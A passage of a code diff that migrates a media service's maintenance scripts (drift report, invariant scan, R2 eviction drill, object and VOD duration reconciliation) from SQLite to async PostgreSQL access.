- const h = new Database(dbPath, { readonly: true, fileMustExist: true });
- const q = {
- all: (sql, params = []) => h.prepare(sql).all(...params),
- get: (sql, params = []) => h.prepare(sql).get(...params),
- };
- const { buildReport, formatReport } = require('../server/objects/drift');
- const limit = Math.max(0, parseInt(arg('limit', '20'), 10) || 0);
- const report = buildReport(q, { appId: arg('app', null), limit });
- h.close();
- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
- console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));
-} catch (err) {
- console.error(`object-drift-report: ${err.message}`);
-}
-process.exit(0);
+ try {
+ // Read-only: the report runs in a READ ONLY transaction (PostgreSQL refuses any write inside it).
+ const { buildReport, formatReport } = require('../server/objects/drift');
+ const limit = Math.max(0, parseInt(arg('limit', '20'), 10) || 0);
+ const d = require('../server/db/database').getDb();
+ const q = {
+ all: async (sql, params = []) => await d.prepare(sql).all(...params),
+ get: async (sql, params = []) => await d.prepare(sql).get(...params),
+ };
+ const report = await d.tx(async (t) => {
+ await t.query('SET TRANSACTION READ ONLY');
+ return await buildReport(q, { appId: arg('app', null), limit });
+ });
+ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
+ console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));
+ } catch (err) {
+ console.error(`object-drift-report: ${err.message}`);
+ }
+ process.exit(0);
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -7,26 +7,28 @@
@@ -7,26 +7,28 @@
* warn/violation rows in media_invariant_violations (resolving rows that no longer apply).
* warn/violation rows in media_invariant_violations (resolving rows that no longer apply).
* Nothing is re-encoded.
* Nothing is re-encoded.
*
*
- * node scripts/object-invariant.js [--dry-run] [--app live] [--json] [--db ./data/media.db]
+ * node scripts/object-invariant.js [--dry-run] [--app live] [--json]
*/
*/
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-const { scan, MB } = require('../server/objects/invariant');
-const report = scan({ record: !has('dry-run'), appId: arg('app', null) });
-if (has('json')) console.log(JSON.stringify(report, null, 2));
-else {
- const t = report.thresholds;
- console.log(`public playback objects — target ${t.targetBytes / MB} MB, warn ${t.warnBytes / MB} MB, max ${t.maxBytes / MB} MB${has('dry-run') ? ' (dry run)' : ''}`);
- console.log(` ok ${report.counts.ok}, above target ${report.counts.above_target}, warn ${report.counts.warn}, violation ${report.counts.violation}`);
- for (const o of report.objects.slice(0, 50)) {
- console.log(` ${o.level.padEnd(12)} ${(o.size_bytes / MB).toFixed(0).padStart(6)} MB ${o.object_id} ${o.legacy_ref || ''}`);
+ const { scan, MB } = require('../server/objects/invariant');
+ const report = await scan({ record: !has('dry-run'), appId: arg('app', null) });
+ if (has('json')) console.log(JSON.stringify(report, null, 2));
+ else {
+ const t = report.thresholds;
+ console.log(`public playback objects — target ${t.targetBytes / MB} MB, warn ${t.warnBytes / MB} MB, max ${t.maxBytes / MB} MB${has('dry-run') ? ' (dry run)' : ''}`);
+ console.log(` ok ${report.counts.ok}, above target ${report.counts.above_target}, warn ${report.counts.warn}, violation ${report.counts.violation}`);
+ for (const o of report.objects.slice(0, 50)) {
+ console.log(` ${o.level.padEnd(12)} ${(o.size_bytes / MB).toFixed(0).padStart(6)} MB ${o.object_id} ${o.legacy_ref || ''}`);
+ }
+ if (report.objects.length > 50) console.log(` … ${report.objects.length - 50} more (use --json)`);
}
}
- if (report.objects.length > 50) console.log(` … ${report.objects.length - 50} more (use --json)`);
-}
-require('../server/db/database').close();
-process.exit(0);
+ await require('../server/db/database').close();
+ process.exit(0);
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -5,7 +5,7 @@
@@ -5,7 +5,7 @@
* criterion; docs/object-model.md#r2-eviction-drill). Dry run unless --execute.
* criterion; docs/object-model.md#r2-eviction-drill). Dry run unless --execute.
*
*
* node scripts/r2-eviction-drill.js (--vod <id> | --pick) [--execute] [--base-url https://openvibe.media]
* node scripts/r2-eviction-drill.js (--vod <id> | --pick) [--execute] [--base-url https://openvibe.media]
- * [--no-http] [--max-mb 512] [--out artifact.json] [--json] [--db ./data/media.db]
+ * [--no-http] [--max-mb 512] [--out artifact.json] [--json]
*
*
* The VOD must be served from R2 today (storage_provider r2: a B2 canonical copy plus an R2 cache copy),
* The VOD must be served from R2 today (storage_provider r2: a B2 canonical copy plus an R2 cache copy),
* not recording, not under a retention hold (a hold freezes placement), and public or unlisted unless
* not recording, not under a retention hold (a hold freezes placement), and public or unlisted unless
@@ -90,21 +90,22 @@ async function runDrill(opts, deps) {
@@ -90,21 +90,22 @@ async function runDrill(opts, deps) {
checks: {}, steps: [], locations: {}, verdict: null, reason: null,
checks: {}, steps: [], locations: {}, verdict: null, reason: null,
};
};
const step = (name, ok, detail = {}) => { art.steps.push({ name, ok, at: nowIso(), ...detail }); return ok; };
const step = (name, ok, detail = {}) => { art.steps.push({ name, ok, at: nowIso(), ...detail }); return ok; };
- const locations = () => (art.object_id ? model.listLocations(art.object_id).map(l => ({ provider: l.provider, state: l.state, size_bytes: l.size_bytes, verified_at: l.verified_at })) : []);
+ const locations = async () => (art.object_id ? (await model.listLocations(art.object_id)).map(l => ({ provider: l.provider, state: l.state, size_bytes: l.size_bytes, verified_at: l.verified_at })) : []);
const refuse = (reason) => { art.verdict = 'refused'; art.reason = reason; art.finished_at = nowIso(); return art; };
const refuse = (reason) => { art.verdict = 'refused'; art.reason = reason; art.finished_at = nowIso(); return art; };
- const fail = (reason) => { art.verdict = 'fail'; art.reason = reason; art.finished_at = nowIso(); art.locations.at_failure = locations(); return art; };
+ const fail = async (reason) => { art.verdict = 'fail'; art.reason = reason; art.finished_at = nowIso(); art.locations.at_failure = await locations(); return art; };
if (!storage.providerConfigured('b2') || !storage.providerConfigured('r2')) return refuse('B2 and R2 must both be configured (MEDIA_B2_*, MEDIA_R2_*)');
if (!storage.providerConfigured('b2') || !storage.providerConfigured('r2')) return refuse('B2 and R2 must both be configured (MEDIA_B2_*, MEDIA_R2_*)');
// ── Choose the VOD ──
// ── Choose the VOD ──
let vod = null;
let vod = null;
- if (opts.vodId) vod = db.get('SELECT * FROM vods WHERE id = ?', [opts.vodId]);
+ if (opts.vodId) vod = await db.get('SELECT * FROM vods WHERE id = ?', [opts.vodId]);
else if (opts.pick) {
else if (opts.pick) {
- const cands = db.all(`SELECT * FROM vods WHERE storage_provider = 'r2' AND COALESCE(is_recording, 0) = 0 AND COALESCE(clips_only, 0) = 0
+ const cands = await db.all(`SELECT * FROM vods WHERE storage_provider = 'r2' AND COALESCE(is_recording, 0) = 0 AND COALESCE(clips_only, 0) = 0
AND file_path IS NOT NULL AND COALESCE(file_size, 0) > 0 AND file_size <= ?
AND file_path IS NOT NULL AND COALESCE(file_size, 0) > 0 AND file_size <= ?
- ${opts.http ? "AND COALESCE(visibility, CASE WHEN is_public THEN 'public' ELSE 'private' END) != 'private'" : ''}
+ ${opts.http ? "AND COALESCE(visibility, CASE WHEN is_public = 1 THEN 'public' ELSE 'private' END) != 'private'" : ''}
ORDER BY file_size ASC LIMIT 50`, [Math.max(1, opts.maxMb) * MIB]);
ORDER BY file_size ASC LIMIT 50`, [Math.max(1, opts.maxMb) * MIB]);
- vod = cands.find(v => !model.isHeldRow(v)) || null;
+ vod = null;
+ for (const v of cands) if (!await model.isHeldRow(v)) { vod = v; break; }
if (!vod) return refuse(`no VOD served from R2 fits (not recording, not held${opts.http ? ', public or unlisted' : ''}, at most ${opts.maxMb} MB)`);
if (!vod) return refuse(`no VOD served from R2 fits (not recording, not held${opts.http ? ', public or unlisted' : ''}, at most ${opts.maxMb} MB)`);
} else return refuse('name a VOD (--vod <id>) or --pick one');
} else return refuse('name a VOD (--vod <id>) or --pick one');
if (!vod) return refuse(`vod ${opts.vodId} not found`);
if (!vod) return refuse(`vod ${opts.vodId} not found`);
@@ -116,10 +117,10 @@ async function runDrill(opts, deps) {
@@ -116,10 +117,10 @@ async function runDrill(opts, deps) {
if (storage.providerOf(vod) !== 'r2') return refuse(`vod ${vod.id} is served from ${storage.providerOf(vod)}, not R2: there is no R2 copy to evict`);
if (storage.providerOf(vod) !== 'r2') return refuse(`vod ${vod.id} is served from ${storage.providerOf(vod)}, not R2: there is no R2 copy to evict`);
if (vod.is_recording) return refuse(`vod ${vod.id} is recording`);
if (vod.is_recording) return refuse(`vod ${vod.id} is recording`);
if (vod.clips_only) return refuse(`vod ${vod.id} is a clips-only recording`);
if (vod.clips_only) return refuse(`vod ${vod.id} is a clips-only recording`);
- if (model.isHeldRow(vod)) return refuse(`vod ${vod.id} is under a retention hold (holds freeze placement)`);
+ if (await model.isHeldRow(vod)) return refuse(`vod ${vod.id} is under a retention hold (holds freeze placement)`);
if (opts.http && vis === 'private') return refuse(`vod ${vod.id} is private: /v/<id> would not serve it anonymously (use --no-http)`);
if (opts.http && vis === 'private') return refuse(`vod ${vod.id} is private: /v/<id> would not serve it anonymously (use --no-http)`);
if (opts.http && !opts.baseUrl) return refuse('--base-url (or MEDIA_PUBLIC_URL) is needed for the HTTP checks');
if (opts.http && !opts.baseUrl) return refuse('--base-url (or MEDIA_PUBLIC_URL) is needed for the HTTP checks');
- art.locations.before = locations();
+ art.locations.before = await locations();
// ── Both copies agree (size, and the first MiB) ──
// ── Both copies agree (size, and the first MiB) ──
const [b2, r2] = await Promise.all([storage.headObject('b2', art.key), storage.headObject('r2', art.key)]);
const [b2, r2] = await Promise.all([storage.headObject('b2', art.key), storage.headObject('r2', art.key)]);
@@ -141,7 +142,7 @@ async function runDrill(opts, deps) {
@@ -141,7 +142,7 @@ async function runDrill(opts, deps) {
/** Where playback goes now: GET /v/<id>?raw=1 (or resolvePlayback in-process) and the first MiB served there. */
/** Where playback goes now: GET /v/<id>?raw=1 (or resolvePlayback in-process) and the first MiB served there. */
const served = async () => {
const served = async () => {
if (!opts.http) {
if (!opts.http) {
- const plan = await storage.resolvePlayback(db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));
+ const plan = await storage.resolvePlayback(await db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));
if (!plan || plan.kind !== 'redirect') return { provider: plan ? plan.kind : null };
if (!plan || plan.kind !== 'redirect') return { provider: plan ? plan.kind : null };
const got = await firstMibSha(plan.url, fetchImpl);
const got = await firstMibSha(plan.url, fetchImpl);
return { via: 'resolvePlayback', provider: plan.provider, status: 302, first_mib_sha256: got.sha256 };
return { via: 'resolvePlayback', provider: plan.provider, status: 302, first_mib_sha256: got.sha256 };
@@ -169,34 +170,34 @@ async function runDrill(opts, deps) {
@@ -169,34 +170,34 @@ async function runDrill(opts, deps) {
// 1. before
// 1. before
const before = await served();
const before = await served();
- if (!step('before: served from R2', before.provider === 'r2' && before.first_mib_sha256 === expectSha, before)) return fail('playback is not coming from R2 before the eviction');
+ if (!step('before: served from R2', before.provider === 'r2' && before.first_mib_sha256 === expectSha, before)) return await fail('playback is not coming from R2 before the eviction');
// 2. evict
// 2. evict
const ev = await storage.demoteFromR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });
const ev = await storage.demoteFromR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });
- const rowAfterEvict = db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);
+ const rowAfterEvict = await db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);
const r2Gone = await storage.headObject('r2', art.key);
const r2Gone = await storage.headObject('r2', art.key);
- art.locations.after_evict = locations();
+ art.locations.after_evict = await locations();
if (!step('evict: R2 copy removed', !!(ev && ev.ok) && !r2Gone && rowAfterEvict.storage_provider === 'b2', { result: ev, r2_head: r2Gone, storage_provider: rowAfterEvict.storage_provider })) {
if (!step('evict: R2 copy removed', !!(ev && ev.ok) && !r2Gone && rowAfterEvict.storage_provider === 'b2', { result: ev, r2_head: r2Gone, storage_provider: rowAfterEvict.storage_provider })) {
- return fail('the eviction did not complete');
+ return await fail('the eviction did not complete');
}
}
// 3. served from B2
// 3. served from B2
const fromB2 = await served();
const fromB2 = await served();
const b2Head = await storage.headObject('b2', art.key);
const b2Head = await storage.headObject('b2', art.key);
if (!step('from B2: served from the canonical copy', fromB2.provider === 'b2' && fromB2.first_mib_sha256 === expectSha && !!b2Head && b2Head.size === b2.size, { ...fromB2, b2_head: b2Head })) {
if (!step('from B2: served from the canonical copy', fromB2.provider === 'b2' && fromB2.first_mib_sha256 === expectSha && !!b2Head && b2Head.size === b2.size, { ...fromB2, b2_head: b2Head })) {
- return fail('after the eviction the VOD is not served from B2');
+ return await fail('after the eviction the VOD is not served from B2');
}
}
// 4. re-warm
// 4. re-warm
const pr = await storage.promoteToR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: re-warm R2 from B2' });
const pr = await storage.promoteToR2(vod.id, { trigger: 'drill', reason: 'R2 eviction drill: re-warm R2 from B2' });
const r2Back = await storage.headObject('r2', art.key);
const r2Back = await storage.headObject('r2', art.key);
- const rowAfterWarm = db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);
+ const rowAfterWarm = await db.get('SELECT storage_provider FROM vods WHERE id = ?', [vod.id]);
if (!step('re-warm: R2 copy restored from B2', !!(pr && pr.ok) && !!r2Back && r2Back.size === b2.size && rowAfterWarm.storage_provider === 'r2', { result: pr, r2_head: r2Back, storage_provider: rowAfterWarm.storage_provider })) {
if (!step('re-warm: R2 copy restored from B2', !!(pr && pr.ok) && !!r2Back && r2Back.size === b2.size && rowAfterWarm.storage_provider === 'r2', { result: pr, r2_head: r2Back, storage_provider: rowAfterWarm.storage_provider })) {
- return fail('the re-warm did not complete (the VOD is still served from B2)');
+ return await fail('the re-warm did not complete (the VOD is still served from B2)');
}
}
// 5. after
// 5. after
const after = await served();
const after = await served();
- art.locations.after = locations();
+ art.locations.after = await locations();
const locOk = !art.object_id || ['b2', 'r2'].every(p => (art.locations.after.find(l => l.provider === p) || {}).state === 'present');
const locOk = !art.object_id || ['b2', 'r2'].every(p => (art.locations.after.find(l => l.provider === p) || {}).state === 'present');
if (!step('after: served from R2 again', after.provider === 'r2' && after.first_mib_sha256 === expectSha && locOk, { ...after, locations_present: locOk })) {
if (!step('after: served from R2 again', after.provider === 'r2' && after.first_mib_sha256 === expectSha && locOk, { ...after, locations_present: locOk })) {
- return fail('after the re-warm the VOD is not served from R2');
+ return await fail('after the re-warm the VOD is not served from R2');
}
}
art.verdict = 'pass';
art.verdict = 'pass';
art.finished_at = nowIso();
art.finished_at = nowIso();
@@ -211,19 +212,20 @@ function summarize(art) {
@@ -211,19 +212,20 @@ function summarize(art) {
if (require.main === module) {
if (require.main === module) {
const opts = parseArgs(process.argv);
const opts = parseArgs(process.argv);
- if (opts.db) process.env.DB_PATH = path.resolve(opts.db);
const config = require('../server/config');
const config = require('../server/config');
if (!opts.baseUrl) opts.baseUrl = config.publicUrl;
if (!opts.baseUrl) opts.baseUrl = config.publicUrl;
const storage = require('../server/vod/vod-storage');
const storage = require('../server/vod/vod-storage');
const db = require('../server/db/database');
const db = require('../server/db/database');
const model = require('../server/objects/model');
const model = require('../server/objects/model');
(async () => {
(async () => {
+ await db.initDb(); // PostgreSQL (DATABASE_URL), as the service
+ await storage.tierConfig.init(storage.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } });
const art = await runDrill(opts, { storage, db, model });
const art = await runDrill(opts, { storage, db, model });
const out = opts.out || path.join(path.dirname(config.db.path), 'drills', `r2-eviction-${art.vod_id ?? 'none'}-${art.started_at.replace(/[:.]/g, '-')}.json`);
const out = opts.out || path.join(path.dirname(config.db.path), 'drills', `r2-eviction-${art.vod_id ?? 'none'}-${art.started_at.replace(/[:.]/g, '-')}.json`);
fs.mkdirSync(path.dirname(out), { recursive: true });
fs.mkdirSync(path.dirname(out), { recursive: true });
fs.writeFileSync(out, JSON.stringify(art, null, 2));
fs.writeFileSync(out, JSON.stringify(art, null, 2));
console.log(opts.json ? JSON.stringify(art, null, 2) : `${summarize(art)}\nartifact: ${out}`);
console.log(opts.json ? JSON.stringify(art, null, 2) : `${summarize(art)}\nartifact: ${out}`);
- db.close();
+ await db.close();
process.exit(art.verdict === 'pass' || art.verdict === 'dry-run' ? 0 : art.verdict === 'refused' ? 2 : 1);
process.exit(art.verdict === 'pass' || art.verdict === 'dry-run' ? 0 : art.verdict === 'refused' ? 2 : 1);
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
}
}
@@ -3,7 +3,7 @@
@@ -3,7 +3,7 @@
/**
/**
* Reconcile the object model against the bytes (docs/object-model.md#reconciliation).
* Reconcile the object model against the bytes (docs/object-model.md#reconciliation).
*
*
- * node scripts/reconcile-objects.js [--verify] [--hash] [--app live] [--json] [--out report.json] [--db ./data/media.db]
+ * node scripts/reconcile-objects.js [--verify] [--hash] [--app live] [--json] [--out report.json]
*
*
* Default: read-only — checks local files and database consistency, writes nothing.
* Default: read-only — checks local files and database consistency, writes nothing.
* --verify also HEADs every B2/R2 location with the storage engine's S3 client (MEDIA_B2_* / MEDIA_R2_*)
* --verify also HEADs every B2/R2 location with the storage engine's S3 client (MEDIA_B2_* / MEDIA_R2_*)
@@ -14,18 +14,21 @@
@@ -14,18 +14,21 @@
const fs = require('fs');
const fs = require('fs');
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-const { reconcile, summarize } = require('../server/objects/reconcile');
+ const { reconcile, summarize } = require('../server/objects/reconcile');
-(async () => {
- if (has('verify')) await require('../server/vod/vod-storage').checkProviders().catch(() => {});
- const report = await reconcile({ verify: has('verify'), hash: has('hash'), appId: arg('app', null) });
- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
- console.log(has('json') ? JSON.stringify(report, null, 2) : summarize(report));
- require('../server/db/database').close();
- process.exit(report.total_issues ? 1 : 0);
-})().catch((err) => { console.error(err); process.exit(2); });
+ (async () => {
+ if (has('verify')) await require('../server/vod/vod-storage').checkProviders().catch(() => {});
+ const report = await reconcile({ verify: has('verify'), hash: has('hash'), appId: arg('app', null) });
+ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
+ console.log(has('json') ? JSON.stringify(report, null, 2) : summarize(report));
+ await require('../server/db/database').close();
+ process.exit(report.total_issues ? 1 : 0);
+ })().catch((err) => { console.error(err); process.exit(2); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -14,14 +14,13 @@
@@ -14,14 +14,13 @@
* packets; remote: the container must agree with its streams, or --confirm-remote reads the
* packets; remote: the container must agree with its streams, or --confirm-remote reads the
* whole copy, which is B2/R2 egress).
* whole copy, which is B2/R2 egress).
* node scripts/vod-duration-reconcile.js --apply --backup <file.json> [same selection]
* node scripts/vod-duration-reconcile.js --apply --backup <file.json> [same selection]
- * First an online backup of the database to <file>.media.db (checked with integrity_check),
- * then repairs the confirmed wrong/missing values (only rows still holding the value read);
- * <file.json> is the report, which lists every repair with its old values (the rollback file).
- * Refuses to overwrite either file.
+ * Repairs the confirmed wrong/missing values (only rows still holding the value read);
+ * <file.json> is the report, which lists every repair with its old values (the rollback file;
+ * the database's own safety net is PostgreSQL's point-in-time recovery). Refuses to overwrite it.
* node scripts/vod-duration-reconcile.js --rollback <file.json> [--apply]
* node scripts/vod-duration-reconcile.js --rollback <file.json> [--apply]
* Restores the old values of the repairs the file lists, where the row still holds what the
* Restores the old values of the repairs the file lists, where the row still holds what the
* repair wrote. Without --apply it only reports what it would restore.
* repair wrote. Without --apply it only reports what it would restore.
- * (every command takes --db <media.db>; the database is DB_PATH otherwise)
+ * (the database is the service's: DATABASE_URL, from its env file)
*
*
* B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names).
* B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names).
* Exit codes: 0 done, 1 error, 2 bad usage.
* Exit codes: 0 done, 1 error, 2 bad usage.
@@ -29,102 +28,88 @@
@@ -29,102 +28,88 @@
const fs = require('fs');
const fs = require('fs');
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
-const usage = (msg) => { console.error(`vod-duration-reconcile: ${msg}`); process.exit(2); };
-for (const flag of ['db', 'backup', 'rollback', 'batch', 'after', 'ids', 'app', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };
+ const usage = (msg) => { console.error(`vod-duration-reconcile: ${msg}`); process.exit(2); };
+ for (const flag of ['db', 'backup', 'rollback', 'batch', 'after', 'ids', 'app', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);
-const APPLY = has('apply');
-const JSON_OUT = has('json');
-const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;
-const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;
-const BATCH = arg('batch') ? Number(arg('batch')) : 50;
-const AFTER = arg('after') ? Number(arg('after')) : 0;
-const IDS = arg('ids') ? arg('ids').split(',').map(Number) : null;
-if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 200) usage('--batch must be an integer 1-200');
-if (!Number.isInteger(AFTER) || AFTER < 0) usage('--after must be a vod id');
-if (IDS && IDS.some(n => !Number.isInteger(n) || n < 1)) usage('--ids must be a comma list of vod ids');
-if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');
-if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');
+ const APPLY = has('apply');
+ const JSON_OUT = has('json');
+ const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;
+ const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;
+ const BATCH = arg('batch') ? Number(arg('batch')) : 50;
+ const AFTER = arg('after') ? Number(arg('after')) : 0;
+ const IDS = arg('ids') ? arg('ids').split(',').map(Number) : null;
+ if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 200) usage('--batch must be an integer 1-200');
+ if (!Number.isInteger(AFTER) || AFTER < 0) usage('--after must be a vod id');
+ if (IDS && IDS.some(n => !Number.isInteger(n) || n < 1)) usage('--ids must be a comma list of vod ids');
+ if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');
+ if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file)');
-const config = require('../server/config');
-if (!fs.existsSync(config.db.path)) usage(`no database at ${config.db.path} (set DB_PATH or pass --db)`);
-const db = require('../server/db/database');
-const reconcile = require('../server/vod/duration-reconcile');
-const log = (...a) => { if (!JSON_OUT) console.log(...a); };
+ const config = require('../server/config');
+ const db = require('../server/db/database');
+ const reconcile = require('../server/vod/duration-reconcile');
+ const log = (...a) => { if (!JSON_OUT) console.log(...a); };
-function writePrivate(file, text) {
- fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });
- const tmp = `${file}.tmp-${process.pid}`;
- const fd = fs.openSync(tmp, 'wx', 0o600);
- try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }
- fs.renameSync(tmp, file);
-}
+ function writePrivate(file, text) {
+ fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });
+ const tmp = `${file}.tmp-${process.pid}`;
+ const fd = fs.openSync(tmp, 'wx', 0o600);
+ try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }
+ fs.renameSync(tmp, file);
+ }
-async function backupDatabase(dest) {
- fs.mkdirSync(path.dirname(dest), { recursive: true, mode: 0o700 });
- await db.getDb().backup(dest);
- fs.chmodSync(dest, 0o600);
- const Database = require('better-sqlite3');
- const copy = new Database(dest, { readonly: true, fileMustExist: true });
- try { return { path: dest, bytes: fs.statSync(dest).size, integrity_check: copy.pragma('integrity_check', { simple: true }), vods: copy.prepare('SELECT count(*) AS n FROM vods').get().n }; } finally { copy.close(); }
-}
-const fmt = (s) => (s == null ? '-' : `${Math.round(s)}s`);
-function printRow(r) {
- if (r.verdict === 'ok') return;
- log(` vod ${String(r.vod_id).padStart(6)} ${String(r.where || '-').padEnd(5)} stored ${fmt(r.stored).padStart(8)} (${r.stored_source || '?'}) measured ${fmt(r.measured).padStart(8)} (${r.measured_source || '-'}) ${r.verdict.padEnd(12)} ${r.action}${r.note ? ` [${r.note}]` : ''}`);
-}
+ const fmt = (s) => (s == null ? '-' : `${Math.round(s)}s`);
+ function printRow(r) {
+ if (r.verdict === 'ok') return;
+ log(` vod ${String(r.vod_id).padStart(6)} ${String(r.where || '-').padEnd(5)} stored ${fmt(r.stored).padStart(8)} (${r.stored_source || '?'}) measured ${fmt(r.measured).padStart(8)} (${r.measured_source || '-'}) ${r.verdict.padEnd(12)} ${r.action}${r.note ? ` [${r.note}]` : ''}`);
+ }
-async function main() {
- if (ROLLBACK) {
- let rep;
- try { rep = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }
- if (!rep || rep.kind !== 'media.vod.duration_reconcile' || !Array.isArray(rep.rows)) usage(`${ROLLBACK} is not a duration reconcile report`);
- const out = reconcile.rollback(rep.rows, { apply: APPLY });
- log(APPLY ? `Restored ${out.restored} VOD duration(s); ${out.changed_since} changed since (left alone).`
- : `Would restore ${out.would_restore} VOD duration(s); ${out.changed_since} changed since. Re-run with --apply to restore.`);
- if (JSON_OUT) console.log(JSON.stringify(out, null, 2));
+ async function main() {
+ if (ROLLBACK) {
+ let rep;
+ try { rep = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }
+ if (!rep || rep.kind !== 'media.vod.duration_reconcile' || !Array.isArray(rep.rows)) usage(`${ROLLBACK} is not a duration reconcile report`);
+ const out = await reconcile.rollback(rep.rows, { apply: APPLY });
+ log(APPLY ? `Restored ${out.restored} VOD duration(s); ${out.changed_since} changed since (left alone).`
+ : `Would restore ${out.would_restore} VOD duration(s); ${out.changed_since} changed since. Re-run with --apply to restore.`);
+ if (JSON_OUT) console.log(JSON.stringify(out, null, 2));
+ return 0;
+ }
+ const dbCopy = null; // the database's own copy is PostgreSQL's point-in-time recovery (pgBackRest); the report is the rollback file
+ if (APPLY && fs.existsSync(BACKUP)) usage(`${BACKUP} already exists; pick a new --backup name`);
+ const all = { kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: APPLY ? 'apply' : 'dry-run', app_id: arg('app') || null,
+ thresholds: reconcile.THRESHOLDS, confirm_remote: has('confirm-remote'), batches: 0, range: { after_id: IDS ? null : AFTER, last_id: null, done: false }, counts: null, rows: [], db_backup: dbCopy };
+ let after = AFTER;
+ log(`${APPLY ? 'Reconciling' : 'Dry run over'} VOD durations ${all.app_id ? ` (app ${all.app_id})` : ''}${IDS ? `, vods ${IDS.join(',')}` : `, from vod id > ${AFTER}, batches of ${BATCH}`}${has('all') ? ', every batch' : ''}`);
+ for (;;) {
+ const rep = await reconcile.reconcileBatch({ appId: all.app_id, afterId: after, limit: IDS ? Math.min(200, IDS.length) : BATCH, ids: IDS, apply: APPLY, confirmRemote: has('confirm-remote'), onRow: printRow });
+ all.batches++;
+ all.rows.push(...rep.rows);
+ if (!all.counts) all.counts = { ...rep.counts };
+ else for (const k of Object.keys(rep.counts)) all.counts[k] += rep.counts[k];
+ all.range.last_id = rep.range.last_id ?? all.range.last_id;
+ all.range.done = rep.range.done;
+ if (APPLY) writePrivate(BACKUP, JSON.stringify(all, null, 1)); // the rollback file is current after every batch
+ if (IDS || rep.range.done || !has('all')) break;
+ after = rep.range.last_id;
+ }
+ const file = APPLY ? BACKUP : (arg('out') ? path.resolve(arg('out')) : null);
+ const written = APPLY ? file : reconcile.writeReport(all, file);
+ const c = all.counts;
+ log('');
+ log(`Checked ${c.checked} (${c.remote} remote): ok ${c.ok}, mismatch ${c.mismatch}, wrong ${c.wrong}, missing ${c.missing}, unmeasurable ${c.unmeasurable}, skipped ${c.skipped}.`);
